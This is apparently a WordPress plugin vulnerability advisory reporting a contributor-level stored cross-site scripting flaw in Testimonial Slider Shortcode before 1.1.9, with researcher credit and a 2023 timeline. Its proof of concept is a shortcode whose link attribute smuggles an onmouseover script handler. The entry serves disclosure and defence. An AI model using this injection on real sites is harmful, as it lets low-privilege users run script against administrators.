WordPress Plugin Vulnerabilities

Testimonial Slider Shortcode < 1.1.9 - Contributor+ Stored XSS

Description

The plugin does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks which could be used against high privilege users such as admin

Proof of Concept

[tss_item text=»Abelson has been an amazing firm to work with. Lorem changed the company.» name=»JOHN SAMPSON LP» link='" onmouseover="alert(/XSS/)"'/]

Affects Plugins

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
Dmitrii Ignatyev
Submitter
Dmitrii Ignatyev
Submitter website
Verified
Yes

Timeline

Publicly Published
2023-09-25 (about 7 months ago)
Added
2023-09-25 (about 7 months ago)
Last Updated
2023-09-25 (about 7 months ago)

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